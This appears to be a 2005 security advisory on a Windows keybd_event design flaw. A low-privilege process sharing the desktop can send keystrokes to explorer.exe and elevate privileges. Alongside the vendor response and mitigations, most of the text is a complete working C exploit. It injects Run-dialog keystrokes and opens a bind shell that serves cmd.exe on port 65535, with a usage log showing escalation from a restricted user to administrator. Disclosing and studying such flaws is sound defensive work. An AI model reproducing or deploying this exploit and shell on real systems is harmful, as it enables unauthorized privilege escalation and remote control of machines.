[NT] Microsoft Windows keybd_event Validation Vulnerability

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Microsoft Windows keybd_event Validation Vulnerability
------------------------------------------------------------------------

SUMMARY

As is known, with the current Microsoft Security Model, applications that
share the destkop are able to send messages between them. Every Desktop
application is able to obtain the handle of every process executed in the
same desktop.

This feature and the possibility of any application to emulate a virtual
keyboard by sending key strokes, allows every process to send messages and
keys as if there were an interactive user, this in turn can be used to
elevate the attacker's security privileges.

DETAILS

Attack Scenario:
There area at least two known scenarios that will allow this attack to
succeed.

- Runas Service allows application execution as if it were launched by
another user. In some cases, a user could execute an untrusted application
(like malware) with restricted rights by downgrading privileges and
executing a shell where that suspicious application will be executed and
tested. This application shares the same desktop as all the user
applications.

- Every running service with the flag INTERACT_WITH_DESKTOP will be able
to access user Desktop.

Attack:
If an attacker is able to gain access to an application executed in any of
those ways (direct malware execution or exploiting a security flaw in that
software) by using Windows APIs (keybd_event or SendKeys) he will be able
to send keystrokes that will be handled by explorer.exe allowing it to
execute arbitrary code with logged user rights. This attack will allow to
bypass security restrictions offered by the Runas Service and elevate
privileges.

Vendor Response:
After talking with MSRC (Microsoft Security Response Center) Microsoft
have identified this vulnerability as a design flaw, where the desktop is
the security limit, so there is currently no solution because some
automatic tools and virtual keyboard included in Windows XP would not work
if this feature did not exist.

Solution:
- Only allow trusted applications to be run as a service with access to
the desktop.
- Do not use Runas Service in production environments.

Exploit:
/*
* Microsoft Windows keybd_event validation vulnerability.
* Local privilege elevation
*
* Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com )
* I aki Lopez ( ilo _@_ reversing.org )
*
* Platforms afected/tested:
*
* - Windows 2000
* - Windows XP
* - Windows 2003
*
*
* Original Advisory: http://www.haxorcitos.com
* http://www.reversing.org
*
* Exploit Date: 08 / 06 / 2005
*
* Orignal Advisory:
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Attack Scenario:
*
* a) An attacker who gains access to an unprivileged shell/application
executed
* with the application runas.
* b) An attacker who gains access to a service with flags
INTERACT_WITH_DESKTOP
*
* Impact:
*
* Due to an invalid keyboard input validation, its possible to send keys
to any
* application of the Desktop.
* By sending some short-cut keys its possible to execute code and elevate
privileges
* getting loggued user privileges and bypass runas/service security
restriction.
*
* Exploit usage:
*
* C:\>whoami
* AQUARIUS\Administrador
*
* C:\>runas /user:restricted cmd.exe
* Enter the password for restricted:
* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
*
*
* Microsoft Windows 2000 [Versi n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>cd *
* C:\>whoami
* AQUARIUS\restricted
*
* C:\>tlist.exe |find "explorer.exe"
* 1140 explorer.exe Program Manager
*
* C:\>c:\keybd.exe 1140
* HANDLE Found. Attacking =)
*
* C:\>nc localhost 65535
* Microsoft Windows 2000 [Versi n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\>whoami
* whoami
* AQUARIUS\Administrador
*
*
* DONE =)
*
*/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
DWORD hwndid;
int i;

GetWindowThreadProcessId(hwnd,&hwndid);

if (hwndid == pid){
/*
Replace keybd_event with SendMessage() and PostMessage() calls
*/
printf("HANDLE Found. Attacking =)\n");
SetForegroundWindow(hwnd);
keybd_event(VK_LWIN,1,0,0);
keybd_event(VkKeyScan('r'),1,0,0);
keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
for(i=0;i<strlen(buf);i++) {
if (buf[i]==':') {
keybd_event(VK_SHIFT,1,0,0);
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
} else {
if (buf[i]=='\\') {
keybd_event(VK_LMENU,1,0,0);
keybd_event(VK_CONTROL,1,0,0);
keybd_event(VkKeyScan(' '),1,0,0);
keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan(' '),1,KEYEVENTF_KEYUP,0);
} else {
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
}
}
}
keybd_event(VK_RETURN,1,0,0);
keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
exit(1);
}
}
/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

SOCKET s,s2;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSADATA HWSAdata;
struct sockaddr_in sa;
int len;

if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
if
((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
exit(1); }

sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(HAXORCITOS);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
len=sizeof(sa);
if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
return(-1); }
if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
s2 = accept(s,(struct sockaddr *)&sa,&len);
closesocket(s);

ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = (void *) s2; // SOCKET
si.hStdOutput = (void *) s2;
si.hStdError = (void *) s2;
if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE,
0,NULL,NULL,&si,&pi)) {
doFormatMessage(GetLastError());
return(-1);
}

WaitForSingleObject( pi.hProcess, INFINITE );
closesocket(s);
closesocket(s2);
printf("SALIMOS...\n");
Sleep(5000);
return(1);

}
/**************************************************************/
void main(int argc, char* argv[])
{
HWND console_wnd = NULL;

if (argc >= 2) {
pid = atoi (argv[1]);
strncpy(buf,argv[0],sizeof(buf)-1);
EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
} else {
BindShell();
}
}
/**************************************************************/

ADDITIONAL INFORMATION

The information has been provided by <mailto:fcharpen@xmcopartners.com>
Frederic Charpentier.
The original article can be found at:
<http://www.haxorcitos.com/MSRC-6005bgs-EN.txt>
http://www.haxorcitos.com/MSRC-6005bgs-EN.txt

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